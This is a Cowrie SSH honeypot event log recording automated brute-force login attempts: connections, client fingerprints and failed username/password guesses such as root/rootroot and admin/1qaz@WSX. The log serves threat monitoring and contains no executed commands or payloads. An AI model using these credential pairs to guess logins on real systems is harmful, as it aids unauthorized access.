{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:17.187247Z","src_ip":"192.109.200.78","session":"2cf84f153637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:18.273628Z","src_ip":"192.109.200.78","session":"2cf84f153637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2016","message":"login attempt [root/admin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:19.379114Z","src_ip":"27.71.230.31","session":"88f58afc4411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37868,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50629746da1","protocol":"ssh","message":"New connection: 192.109.200.78:37868 (10.17.0.5:22) [session: c50629746da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:20.324332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:20.329080Z","src_ip":"192.109.200.78","session":"c50629746da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:20.410388Z","src_ip":"192.109.200.78","session":"c50629746da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:20.661897Z","src_ip":"192.109.200.78","session":"c50629746da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:20.877466Z","src_ip":"27.71.230.31","session":"88f58afc4411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:21.745870Z","src_ip":"192.109.200.78","session":"c50629746da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56658,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2f39cfe2e7","protocol":"ssh","message":"New connection: 192.109.200.78:56658 (10.17.0.5:22) [session: 8a2f39cfe2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:23.682637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:23.687316Z","src_ip":"192.109.200.78","session":"8a2f39cfe2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:23.768558Z","src_ip":"192.109.200.78","session":"8a2f39cfe2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:24.012906Z","src_ip":"192.109.200.78","session":"8a2f39cfe2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:25.097367Z","src_ip":"192.109.200.78","session":"8a2f39cfe2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56670,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5a411e1d59","protocol":"ssh","message":"New connection: 192.109.200.78:56670 (10.17.0.5:22) [session: 9b5a411e1d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:27.368542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:27.373646Z","src_ip":"192.109.200.78","session":"9b5a411e1d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:27.472110Z","src_ip":"192.109.200.78","session":"9b5a411e1d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:27.723530Z","src_ip":"192.109.200.78","session":"9b5a411e1d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:28.809553Z","src_ip":"192.109.200.78","session":"9b5a411e1d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56674,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b601a66a696","protocol":"ssh","message":"New connection: 192.109.200.78:56674 (10.17.0.5:22) [session: 0b601a66a696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:30.728116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:30.731986Z","src_ip":"192.109.200.78","session":"0b601a66a696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:30.814807Z","src_ip":"192.109.200.78","session":"0b601a66a696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:31.061265Z","src_ip":"192.109.200.78","session":"0b601a66a696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:32.192274Z","src_ip":"192.109.200.78","session":"0b601a66a696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45992,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0bc5662596","protocol":"ssh","message":"New connection: 192.109.200.78:45992 (10.17.0.5:22) [session: fa0bc5662596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.179519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.189213Z","src_ip":"192.109.200.78","session":"fa0bc5662596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.270645Z","src_ip":"192.109.200.78","session":"fa0bc5662596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"8275e985379f","protocol":"ssh","message":"New connection: 92.207.4.157:49930 (159.203.135.109:22) [session: 8275e985379f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.341922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.346342Z","src_ip":"92.207.4.157","session":"8275e985379f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.447652Z","src_ip":"92.207.4.157","session":"8275e985379f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.584434Z","src_ip":"192.109.200.78","session":"fa0bc5662596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"test","message":"login attempt [sammy/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:34.885494Z","src_ip":"92.207.4.157","session":"8275e985379f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:35.668689Z","src_ip":"192.109.200.78","session":"fa0bc5662596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:35.984248Z","src_ip":"92.207.4.157","session":"8275e985379f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46004,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d33a8b9cf40","protocol":"ssh","message":"New connection: 192.109.200.78:46004 (10.17.0.5:22) [session: 1d33a8b9cf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:37.831028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:37.834981Z","src_ip":"192.109.200.78","session":"1d33a8b9cf40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:37.920783Z","src_ip":"192.109.200.78","session":"1d33a8b9cf40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:38.166914Z","src_ip":"192.109.200.78","session":"1d33a8b9cf40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:39.253664Z","src_ip":"192.109.200.78","session":"1d33a8b9cf40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46018,"dst_ip":"10.17.0.5","dst_port":22,"session":"502551fd4e4e","protocol":"ssh","message":"New connection: 192.109.200.78:46018 (10.17.0.5:22) [session: 502551fd4e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:41.248833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:41.254147Z","src_ip":"192.109.200.78","session":"502551fd4e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:41.334913Z","src_ip":"192.109.200.78","session":"502551fd4e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:41.580894Z","src_ip":"192.109.200.78","session":"502551fd4e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:42.681647Z","src_ip":"192.109.200.78","session":"502551fd4e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"964b78c6587f","protocol":"ssh","message":"New connection: 192.109.200.78:41884 (10.17.0.5:22) [session: 964b78c6587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:44.576233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:44.580363Z","src_ip":"192.109.200.78","session":"964b78c6587f","protocol":"ssh"}
